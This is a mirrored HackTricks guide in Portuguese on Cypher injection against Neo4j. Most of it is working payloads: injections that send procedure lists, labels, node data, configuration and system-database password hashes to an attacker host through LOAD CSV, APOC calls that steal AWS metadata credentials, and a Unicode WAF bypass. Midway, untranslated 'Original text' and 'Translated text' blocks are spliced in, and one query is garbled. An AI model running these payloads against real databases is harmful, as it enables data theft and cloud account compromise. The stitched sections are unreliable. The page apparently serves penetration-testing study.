mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 12:03:37 +00:00
356 lines
20 KiB
Markdown
356 lines
20 KiB
Markdown
# Injeção de Cypher (neo4j)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Injeções de Cypher Comuns
|
|
|
|
As declarações **MATCH** e **WHERE** são **cenários comuns**.
|
|
|
|
Quando encontramos uma injeção, a maneira de explorá-la depende da **localização dentro da consulta**. Abaixo está uma tabela de diferentes locais de injeção e exemplos de exploração:
|
|
|
|
| Consulta injetável | Injeção |
|
|
| ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
|
|
| `MATCH (o) WHERE o.Id='{input}'` | `' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //` |
|
|
| <p><code>MATCH (o) WHERE '{input}' = o.Id</code><br><code>MATCH (o) WHERE {input} in [diferentes, valores]</code></p> | `'=' {…} WITH 0 as _l00 RETURN 1 //` |
|
|
| `MATCH (o) WHERE o:{input}` | `a {…} WITH 0 as _l00 RETURN 1 //` |
|
|
| `` MATCH (o) WHERE o:`{input}` `` | ``a` {...} WITH 0 as _l00 RETURN 1 //`` |
|
|
| `MATCH (o {id:'{input}'})` | `'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //` |
|
|
| `MATCH (o:{input})` | `a) RETURN 1 UNION MATCH (n){...} RETURN 1//` |
|
|
| ``MATCH (o:`{input}`)`` | ``a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
|
|
| `MATCH (o)-[r {id:'{input}'})]-(o2)` | `'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//` |
|
|
| `MATCH (o)-[r:{input}]-(o2)` | `a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //` |
|
|
| ``MATCH (o)-[r:`{input}`]-(o2)`` | ``a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
|
|
|
|
Observe a declaração UNION:
|
|
|
|
1. A razão pela qual UNION é necessária é que, se a declaração MATCH não retornar nada, o restante da consulta não será executado. Portanto, todas as coisas nefastas que podemos fazer lá simplesmente não serão executadas.
|
|
2. Adicionamos "RETURN 1" antes da UNION para que ambas as partes retornem as mesmas colunas, o que é necessário para a consulta ser executada.
|
|
|
|
Então, qual é a declaração "WITH"?
|
|
|
|
Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga útil tentar definir uma variável que já existe, a consulta falhará ao ser executada.
|
|
|
|
Naturalmente, se conhecemos a consulta e o banco de dados, nenhuma dessas técnicas é necessária. Podemos até manipular os dados retornados para, por sua vez, manipular o processo em vez de apenas abusar do servidor.
|
|
|
|
## Exfiltração HTTP
|
|
|
|
É possível usar o seguinte método para exfiltrar informações para o domínio controlado pelo atacante:
|
|
```sql
|
|
LOAD CSV FROM 'https://attacker.com/'
|
|
```
|
|
Original text:
|
|
|
|
```
|
|
## Cypher Injection (Neo4j)
|
|
|
|
Cypher is a query language used by Neo4j, a popular graph database. Cypher injection is similar to SQL injection, but instead of injecting SQL code, we inject Cypher code.
|
|
|
|
### Basic Injection
|
|
|
|
The most basic injection is to inject a `MATCH` clause that returns all nodes in the database:
|
|
|
|
```
|
|
MATCH (n) RETURN n
|
|
```
|
|
|
|
### Retrieving Sensitive Information
|
|
|
|
To retrieve sensitive information, we can inject a `MATCH` clause that returns the desired nodes and their properties:
|
|
|
|
```
|
|
MATCH (n:User) RETURN n.username, n.password
|
|
```
|
|
|
|
### Modifying the Database
|
|
|
|
We can also modify the database by injecting a `CREATE` or `MERGE` clause:
|
|
|
|
```
|
|
CREATE (n:Malware {name: 'WannaCry'})
|
|
```
|
|
|
|
### Preventing Injection
|
|
|
|
To prevent Cypher injection, we can use parameterized queries. Here's an example:
|
|
|
|
```
|
|
String query = "MATCH (n:User {username: $username, password: $password}) RETURN n";
|
|
Map<String, Object> parameters = new HashMap<>();
|
|
parameters.put("username", username);
|
|
parameters.put("password", password);
|
|
Result result = session.run(query, parameters);
|
|
```
|
|
|
|
In this example, the `$username` and `$password` variables are replaced with the actual values when the query is executed, preventing injection.
|
|
```
|
|
|
|
Translated text:
|
|
|
|
```
|
|
## Injeção de Cypher (Neo4j)
|
|
|
|
Cypher é uma linguagem de consulta usada pelo Neo4j, um popular banco de dados de gráficos. A injeção de Cypher é semelhante à injeção de SQL, mas em vez de injetar código SQL, injetamos código Cypher.
|
|
|
|
### Injeção Básica
|
|
|
|
A injeção mais básica é injetar uma cláusula `MATCH` que retorna todos os nós no banco de dados:
|
|
|
|
```
|
|
MATCH (n) RETURN n
|
|
```
|
|
|
|
### Recuperando informações sensíveis
|
|
|
|
Para recuperar informações sensíveis, podemos injetar uma cláusula `MATCH` que retorna os nós desejados e suas propriedades:
|
|
|
|
```
|
|
MATCH (n:User) RETURN n.username, n.password
|
|
```
|
|
|
|
### Modificando o banco de dados
|
|
|
|
Também podemos modificar o banco de dados injetando uma cláusula `CREATE` ou `MERGE`:
|
|
|
|
```
|
|
CREATE (n:Malware {name: 'WannaCry'})
|
|
```
|
|
|
|
### Prevenindo Injeção
|
|
|
|
Para prevenir a injeção de Cypher, podemos usar consultas parametrizadas. Aqui está um exemplo:
|
|
|
|
```
|
|
String query = "MATCH (n:User {username: $username, password: $password}) RETURN n";
|
|
Map<String, Object> parameters = new HashMap<>();
|
|
parameters.put("username", username);
|
|
parameters.put("password", password);
|
|
Result result = session.run(query, parameters);
|
|
```
|
|
|
|
Neste exemplo, as variáveis `$username` e `$password` são substituídas pelos valores reais quando a consulta é executada, prevenindo a injeção.
|
|
```sql
|
|
// Injection in:
|
|
MATCH (o) WHEREo.Id='{input}' RETURN o
|
|
|
|
// Injection to get all the preocedures
|
|
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
|
|
|
```
|
|
## APOC
|
|
|
|
A primeira coisa que um invasor deve verificar é **se o APOC está instalado**. O APOC (procedimentos incríveis no Cypher) é um **plugin extremamente popular**, oficialmente suportado pelo Neo4j, que melhora muito suas capacidades. O APOC adiciona muitas **funções e procedimentos adicionais** que os desenvolvedores podem usar em seu ambiente. Os invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados.
|
|
|
|
### Procedimentos para processar dados e enviar solicitações HTTP
|
|
|
|
* `apoc.convert.toJson` — converte nós, mapas e mais em JSON
|
|
* `apoc.text.base64Encode` — obtém uma string e a codifica como base64
|
|
|
|
É possível **definir cabeçalhos** e **enviar outros métodos** além do GET. Exemplos:
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
|
|
|
|
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
|
|
```
|
|
### Procedimentos para avaliar consultas
|
|
|
|
* `apoc.cypher.runFirstColumnMany` - uma função que retorna os valores da primeira coluna como uma lista
|
|
* `apoc.cypher.runFirstColumnSingle` - uma função que retorna o primeiro valor da primeira coluna
|
|
* `apoc.cypher.run` - um procedimento que executa uma consulta e retorna os resultados como um mapa
|
|
* `apoc.cypher.runMany` - um procedimento que executa uma consulta ou várias consultas separadas por ponto e vírgula e retorna os resultados como um mapa. As consultas são executadas em uma transação diferente.
|
|
|
|
## Extraindo informações
|
|
|
|
### Versão do servidor
|
|
|
|
Uma maneira de obter a versão do servidor é usar o procedimento `dbms.components()`
|
|
```sql
|
|
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
|
|
```
|
|
### Obter consulta em execução
|
|
|
|
A maneira mais fácil é usar o procedimento `dmbs.listQueries()`.
|
|
```sql
|
|
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
|
|
```
|
|
{% endcode %}
|
|
|
|
No **Neo4j 5 `dbms.listQueries` foi removido**. Em vez disso, podemos usar "SHOW TRANSACTIONS". Existem duas limitações principais: **as consultas SHOW não são injetáveis**, e ao contrário de `listQueries`, podemos **ver apenas a consulta atualmente executada** na transação e não todas elas.
|
|
|
|
Se o **APOC** core estiver **instalado**, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar **`apoc.cypher.runMany`** para executar SHOW TRANSACTIONS, porque ao contrário de outras funções e procedimentos apoc.cypher, ele é executado em uma transação diferente.
|
|
```sql
|
|
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
|
|
```
|
|
### Obter rótulos
|
|
|
|
Usando o método integrado **`db.labels`**, é possível listar todos os rótulos existentes.
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
|
|
```
|
|
### Obter propriedades de uma chave
|
|
|
|
A função integrada **`keys`** pode ser usada para **listar as chaves das propriedades** (Isso não funcionará se um dos campos for uma lista ou um mapa).
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
|
|
```
|
|
Se o APOC estiver disponível, há uma maneira melhor de fazer isso usando `apoc.convert.toJson`
|
|
```sql
|
|
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
|
|
```
|
|
### Obter funções e procedimentos
|
|
|
|
Usando os procedimentos internos **`dbms.functions()`** e **`dbms.procedures()`** é possível listar todas as funções e procedimentos.
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
|
```
|
|
{% endcode %}
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
|
```
|
|
{% endcode %}
|
|
|
|
Esses procedimentos **foram removidos no Neo4j 5.** Em vez disso, podemos usar **`SHOW PROCEDURES`** e **`SHOW FUNCTIONS`.** Consultas SHOW não podem ser injetadas.
|
|
|
|
Se o APOC core estiver instalado, podemos usar qualquer um dos procedimentos ou funções que executam consultas para listar funções e procedimentos.
|
|
```sql
|
|
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
|
```
|
|
|
|
```sql
|
|
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
|
|
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
|
|
```
|
|
### Obter banco de dados do sistema
|
|
|
|
O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós:
|
|
|
|
* Bancos de dados
|
|
* Funções
|
|
* Usuários (incluindo o hash da senha!)
|
|
|
|
Usando o APOC, é possível recuperar os nós, incluindo os hashes. Apenas administradores podem fazer isso, mas na **edição gratuita do Neo4j, há apenas um usuário administrador e nenhum outro usuário**, então não é incomum se encontrar executando como administrador.
|
|
|
|
Use o procedimento **`apoc.systemdb.graph()`** para recuperar os dados.
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
|
|
```
|
|
{% endcode %}
|
|
|
|
O Neo4j usa o SimpleHash do Apache Shiro para gerar o hash.
|
|
|
|
O resultado é armazenado como uma string de valores separados por vírgula:
|
|
|
|
* Algoritmo de hash
|
|
* Hash
|
|
* Salt
|
|
* Iterações
|
|
|
|
**Por exemplo:**
|
|
```plaintext
|
|
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
|
|
```
|
|
### **Obter variáveis de ambiente**
|
|
|
|
Usando o APOC, é possível recuperar a variável de ambiente usando o procedimento **`apoc.config.map()`** ou **`apoc.config.list()`**.
|
|
|
|
Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos não restritos no arquivo de configuração (dbms.security.procedures.unrestricted). Isso é mais comum do que se pensa, e pesquisar o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor "apoc.\*", o que permite todos os procedimentos APOC.
|
|
```sql
|
|
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
|
|
```
|
|
**Nota:** no Neo4j5, os procedimentos foram movidos para o APOC estendido.
|
|
|
|
### Endpoint de Metadados da Nuvem AWS
|
|
|
|
#### IMDSv1
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
|
|
|
|
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
|
|
```
|
|
#### IMDSv2
|
|
|
|
Precisamos **especificar cabeçalhos** e precisamos **usar métodos diferentes de GET**.
|
|
|
|
**`LOAD CSV`** não pode fazer nenhuma dessas coisas, mas podemos usar **`apoc.load.csvParams`** para obter o token e a função, e depois **`apoc.load.jsonParams`** para obter as credenciais em si. A razão pela qual usamos csvParams é que a resposta não é um JSON válido.
|
|
|
|
{% endcode %}
|
|
```sql
|
|
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
|
|
|
|
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
|
|
|
|
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
|
|
```
|
|
{% endcode %}
|
|
|
|
#### Contate diretamente a API da AWS
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
|
|
```
|
|
{% endcode %}
|
|
|
|
* $data é formatado como %Y%m%dT%H%M%SZ
|
|
* $token é o token que obtivemos do servidor de metadados
|
|
* $signed\_token é calculado de acordo com https://docs.aws.amazon.com/general/latest/gr/signing\_aws\_api\_requests.html
|
|
|
|
## Bypass do WAF
|
|
|
|
### Injeção de Unicode
|
|
|
|
No Neo4j >= v4.2.0, é frequentemente possível **injetar Unicode usando "\uXXXX"**. Por exemplo, você pode usar este método se o **servidor tentar remover caracteres** como: ', ", \` e assim por diante.
|
|
|
|
Isso pode não funcionar se uma letra seguir a sequência de escape Unicode. É **seguro adicionar um espaço** depois ou outra notação Unicode.
|
|
|
|
Por exemplo, se o servidor remover aspas simples, e a consulta parecer com a seguinte:
|
|
```sql
|
|
MATCH (a: {name: '$INPUT'}) RETURN a
|
|
```
|
|
É possível injetar:
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
|
|
```
|
|
{% endcode %}
|
|
|
|
## Referências
|
|
|
|
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
|
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|